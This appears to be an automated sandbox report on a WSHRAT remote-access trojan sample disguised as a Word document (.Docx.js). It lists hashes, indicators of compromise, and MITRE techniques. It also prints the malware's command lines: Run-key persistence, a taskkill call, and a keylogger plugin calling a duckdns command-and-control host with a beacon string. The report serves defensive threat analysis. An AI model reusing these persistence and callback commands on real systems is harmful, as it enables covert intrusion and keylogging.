wshrat | 1e95c65bf0fb96be6f5cc0bd8a2672917a19eec232aa0367041e13e7fa3cb0f7

General

Target
FV_ad2021MLltda.Docx.js
Size 412KB
Sample210906-ty8mjabcd3
SHA256 1e95c65bf0fb96be6f5cc0bd8a2672917a19eec232aa0367041e13e7fa3cb0f7
MD5 d50491f6dbdf9bbd02d43e5f02ecc58d
SHA1 1629504b95ec4975b243f480ec76b357f327e475
SHA512 01edaa962f060b7c8cd72e9c5cf4365ea10725a3bb68f98dcc1712ad0915d551a69ef8cec12505fd8ca1f572a587c494f48abf815d822a134bcbcbf787e32fea
MD5 SHA1 SHA512

Score

10^/10

wshrat persistence trojan

Malware Config

Signatures

WSHRAT
WSHRAT is a variant of Houdini worm and has vbs and js variants.
trojan wshrat

Blocklisted process makes network request 4 IoCs

flow	pid	Process
8	4016	wscript.exe
11	4016	wscript.exe
14	4016	wscript.exe
19	4016	wscript.exe

Executes dropped EXE 1 IoCs

pid	Process
188	kl-plugin.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FV_ad2021MLltda.Docx.js	wscript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FV_ad2021MLltda.Docx.js	wscript.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\software\microsoft\windows\currentversion\run	wscript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\FV_ad2021MLltda = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Local\\Temp\\FV_ad2021MLltda.Docx.js\""	wscript.exe
Key created	\REGISTRY\MACHINE\software\microsoft\windows\currentversion\run	wscript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\FV_ad2021MLltda = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Local\\Temp\\FV_ad2021MLltda.Docx.js\""	wscript.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
7	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Kills process with taskkill 1 IoCs

evasion

pid	Process
2908	taskkill.exe

Script User-Agent 3 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	11	WSHRAT\|3ED10BF6\|GFBFPSXA\|Admin\|Microsoft Windows 10 Enterprise\|plus\|nan-av\|false - 6/9/2021\|JavaScript-v2.0\|NL:Netherlands
HTTP User-Agent header	14	WSHRAT\|3ED10BF6\|GFBFPSXA\|Admin\|Microsoft Windows 10 Enterprise\|plus\|nan-av\|false - 6/9/2021\|JavaScript-v2.0\|NL:Netherlands
HTTP User-Agent header	19	WSHRAT\|3ED10BF6\|GFBFPSXA\|Admin\|Microsoft Windows 10 Enterprise\|plus\|nan-av\|false - 6/9/2021\|JavaScript-v2.0\|NL:Netherlands

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2908	taskkill.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
188	kl-plugin.exe
188	kl-plugin.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4016 wrote to memory of 3036	4016	wscript.exe	75
PID 4016 wrote to memory of 3036	4016	wscript.exe	75
PID 3036 wrote to memory of 2908	3036	cmd.exe	77
PID 3036 wrote to memory of 2908	3036	cmd.exe	77
PID 4016 wrote to memory of 188	4016	wscript.exe	78
PID 4016 wrote to memory of 188	4016	wscript.exe	78
PID 4016 wrote to memory of 188	4016	wscript.exe	78

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\FV_ad2021MLltda.Docx.js
1⤵
- Blocklisted process makes network request
- Drops startup file
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4016
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c taskkill /F /IM kl-plugin.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3036
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM kl-plugin.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2908
- C:\Users\Admin\AppData\Local\Temp\kl-plugin.exe
  "C:\Users\Admin\AppData\Local\Temp\kl-plugin.exe" septiembre2021.duckdns.org 2022 "WSHRAT|3ED10BF6|GFBFPSXA|Admin|Microsoft Windows 10 Enterprise|plus|nan-av|false - 6/9/2021|JavaScript-v2.0|NL:Netherlands" 1
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:188

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/188-119-0x0000000002BC0000-0x0000000002BC1000-memory.dmp

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Analysis

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